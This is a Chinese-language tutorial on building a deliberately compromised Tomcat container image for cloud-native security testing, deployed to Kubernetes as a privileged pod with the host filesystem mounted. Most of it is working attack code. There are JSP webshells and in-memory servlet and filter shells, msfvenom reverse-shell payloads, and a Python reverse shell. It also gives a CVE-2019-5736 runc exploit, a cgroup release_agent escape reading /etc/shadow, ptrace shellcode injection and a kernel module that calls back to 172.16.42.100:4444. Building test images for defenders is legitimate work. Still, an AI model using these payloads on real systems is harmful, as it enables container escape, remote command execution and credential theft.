容器云测试镜像制作,文章链接
下载构建环境(我已经打包到github)
mkdir -p /root/docker/
cd /root/docker/
git clone https://github.com/ShadowFl0w/Cloud-Native-Security-Test.git
准备其他工具
cd /root/docker/Cloud-Native-Security-Test
#下载Tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.31/bin/apache-tomcat-8.5.31.tar.gz
#下载jdk-8u251-linux-x64.tar.gz(已下载好)
#msf木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.42.100 LPORT=4444 -f elf > msfshell.elf
#java agent内存马
wget https://github.com/keven1z/weblogic_memshell/releases/download/1.2/inject.jar
wget https://github.com/keven1z/weblogic_memshell/releases/download/1.2/shell-agent.jar
#添加java-sec-code项目
git clone https://github.com/JoyChou93/java-sec-code
在application.properties文件中添加`server.port = 8090`配置,因为默认端口是8080会和容器本身的tomcat端口冲突,所有这里需要改一下。
mvn clean package -DskipTests
jar复制到/root/docker/Cloud-Native-Security-Test
#id_rsa.pub
ssh-keygen -t rsa
cp ~/.ssh/id_rsa.pub ./
#安装CDK
wget https://github.com/cdk-team/CDK/releases/download/v1.0.6/cdk_linux_amd64
#安装fscan
wget https://github.com/shadow1ng/fscan/releases/download/1.6.3/fscan_amd64
#修改x.py ip和端口
#编译a.c
gcc a.c -o a
#修改5736ip和端口,并且编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build 5736.go
#sys_ptrace,修改infec.c
生成shellcode(如果不生成,会在靶机上生成一个终端),这里我们需要提前知道反弹shell测试机器的地址和端口
msfvenom -p linux/x64/shell_reverse_tcp LHOST=30.138.0.5 LPORT=33033 -f c
编译
gcc infect.c -o infect
#SYS_MODULE,修改exp.c
make编译
可疑脚本docker-entrypoint.sh,给docker-entrypoint.sh添加执行权限
chmod +x docker-entrypoint.sh
使用Dockerfile构建镜像
docker build -t mytomcat:v6.0.1 .
运行测试
docker run --rm -it --name mytomcat -p 8081:8080 mytomcat:v6.0.1
最基础的jsp马如下,放到/usr/local/tomcat/webapps/ROOT
目录下
-
jspshell0.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <body> <% Runtime runtime = Runtime.getRuntime(); String cmd = request.getParameter("cmd"); Process process = runtime.exec(cmd); java.io.InputStream in = process.getInputStream(); out.print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); %> </body> </html>
http://172.16.42.10:8081/jspshell0.jsp?pwd=password&cmd=whoami
反射jsp马如下,放到/usr/local/tomcat/webapps/ROOT
目录下
- ClassforName.jsp
<%@ page language="java" pageEncoding="UTF-8" %>
<%
// 加入一个密码
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
if (!passwd.equals(PASSWORD)) {
return;
}
// 反射调用
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
访问http://172.16.42.10:8081/ClassforName.jsp?pwd=password&cmd=whoami
即可
放到/usr/local/tomcat/webapps/ROOT
- servletmem.jsp
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Servlet servlet = new Servlet() {
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Wrapper newWrapper = standardContext.createWrapper();
String servletName="ff";
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
//将Wrapper对象和访问的url绑定
standardContext.addServletMapping("/servletevil", servletName);
%>
利用方式:
访问:
-
http://172.16.42.10:8081/servletevil.jsp
-
http://172.16.42.10:8081/servletevil?cmd=whoami
filter内存马
- filtermem.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "shadowtest";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
先访问:http://172.16.42.10:8081/filtermem.jsp
再:http://172.16.42.10:8081/?cmd=id
- filterClassforName.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "shadowtest";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
String cmd = request.getParameter("cmd");
Class rt = null;
try {
rt = Class.forName("java.lang.Runtime");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
java.lang.reflect.Method gr = null;
try {
gr = rt.getMethod("getRuntime");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
java.lang.reflect.Method ex = null;
try {
ex = rt.getMethod("exec", String.class);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
Process process = null;
try {
process = (Process) ex.invoke(gr.invoke(null), cmd);
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
java.io.InputStream in = process.getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
访问 http://172.16.42.10:8081/filterClassForName.jsp
再http://172.16.42.10:8081/?cmdx=whoami
进入容器,由于注入成功会自动删除jar包,我们对其进行备份
cp inject.jar inject.jar.bak
cp shell-agent.jar shell-agent.jar.bak
注入
root@edcb337d401a:~# java -jar inject.jar shadowtest
[+] Load Agent Path:/root/shell-agent.jar
[+] OK.i find a jvm:org.apache.catalina.startup.Bootstrap start
[+] memeShell is injected.
访问http://172.16.42.10:8081/?psw=shadowtest&cmd=whoami
参考:容器逃逸
procfs逃逸
- x.py
#!/bin/python
import os
import pty
import socket
lhost = "172.16.42.100"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dv/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
- a.c
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
gcc a.c -o a
- 5736.go
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
//var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.16.42.100/4444 0>&1"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build 5736.go
这个漏洞的脚本暂时不使用,需要宿主机的权限操作。
- release_agent.sh
#!/bin/bash
set -uex
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 2
cat "/output"
生成shellcode(如果不生成,会在靶机上生成一个终端),这里我们需要提前知道反弹shell测试机器的地址和端口
msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.16.42.100 LPORT=4444 -f c
替换shellcode(注意长度#define SHELLCODE_SIZE 74,等于shellcode的大小,一定要设置为相应大小的值):
- infect.c
/*
Mem Inject
Copyright (c) 2016 picoFlamingo
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 74
unsigned char *shellcode =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\xac\x10\x2a\x64\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++)
{
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror ("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int
main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...\n");
wait (NULL);
printf ("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
/* Inject code into current RPI position */
printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
printf ("+ Run it!\n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(DETACH):");
exit (1);
}
return 0;
}
编译代码:
gcc infect.c -o infect
将下面两个文件放在moduleEXP文件夹,编译后移动到容器, 这里也需要提前知道反弹地址
- exp.c (名字必须是exp.c)
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
#include <linux/sched/signal.h>
#include <linux/nsproxy.h>
#include <linux/proc_ns.h>
///< The license type -- this affects runtime behavior
MODULE_LICENSE("GPL");
///< The author -- visible when you use modinfo
MODULE_AUTHOR("Nimrod Stoler");
///< The description -- see modinfo
MODULE_DESCRIPTION("NS Escape LKM");
///< The version of the module
MODULE_VERSION("0.1");
static int __init escape_start(void)
{
int rc;
static char *envp[] = {
"SHELL=/bin/bash",
"HOME=/home/cyberark",
"USER=cyberark",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin",
"DISPLAY=:0",
NULL
};
char *argv[] = {"/bin/bash","-c", "bash -i >& /dev/tcp/172.16.42.100/4444 0>&1", NULL};
rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
printk("RC is: %i \n", rc);
return 0;
}
static void __exit escape_end(void)
{
printk(KERN_EMERG "Goodbye!\n");
}
module_init(escape_start);
module_exit(escape_end);
-
Makefile
这里是tab,不能用空格替代tab
ifneq ($(KERNELRELEASE),)
obj-m :=exp.o
else
KDIR :=/lib/modules/$(shell uname -r)/build
all:
make -C $(KDIR) M=$(PWD) modules
clean:
rm -f *.ko *.o *.mod.o *.mod.c *.symvers *.order
endif
将我们的镜像导出
导出镜像
docker save -o mytomcat.tar mytomcat:v1.0
将保存的镜像导入到要上传的服务器
导入镜像
docker load -i mytomcat.tar
执行docker images就可以看见镜像导入了
登录仓库,如果是私有镜像需要添加如下的配置,防止x509: certificate signed by unknown authority
错误
#vi /etc/docker/daemon.json
{
"insecure-registries":[""]
}
修改后重启docker,然后使用如下命令登录Registry
docker login --username=xxx hub.xxx.com
push镜像
docker tag mytomcat:v1.0 hub.xxx.com/user/sectest:v1.0
docker push hub.xxx.com/user/sectest:v1
apiVersion: apps/v1
kind: Deployment
metadata:
name: xxx
#k8s是放在metada下面,测试的集群需要是单独一行
# labels:
# caas_service: xxx
labels:
caas_service: xxx
spec:
selector:
matchLabels:
run: xxx
template:
metadata:
labels:
run: xxx
caas_service: xxx
spec:
containers:
- name: xxx
image: hub.xxx.com/user/xxx:v1
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
args: ["/bin/bash", "-c", "/root/shell.sh"]
volumeMounts:
- name: rootfs
mountPath: /host/rootfs
- name: dockersock
mountPath: /var/run/docker.sock
- name: dockerbin
mountPath: /usr/bin/docker
- name: proc
mountPath: /host/proc
volumes:
- name: rootfs
hostPath:
path: /
- name: dockersock
hostPath:
path: /var/run/docker.sock
- name: dockerbin
hostPath:
path: /usr/bin/docker
- name: proc
hostPath:
path: /proc
apiVersion: apps/v1
kind: Deployment
metadata:
name: xxx
#k8s是放在metada下面,测试的集群需要是单独一行
# labels:
# caas_service: xxx
labels:
caas_service: xxx
spec:
selector:
matchLabels:
run: xxx
template:
metadata:
labels:
run: xxx
caas_service: xxx
spec:
containers:
- name: xxx
image: hub.xxx.com/user/xxx:v1
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
capabilities:
add:
- SYS_ADMIN
- SYS_PTRACE
- SYS_MODULE
volumeMounts:
- name: rootfs
mountPath: /host/rootfs
- name: dockersock
mountPath: /var/run/docker.sock
- name: dockerbin
mountPath: /usr/bin/docker
- name: proc
mountPath: /host/proc
volumes:
- name: rootfs
hostPath:
path: /
- name: dockersock
hostPath:
path: /var/run/docker.sock
- name: dockerbin
hostPath:
path: /usr/bin/docker
- name: proc
hostPath:
path: /proc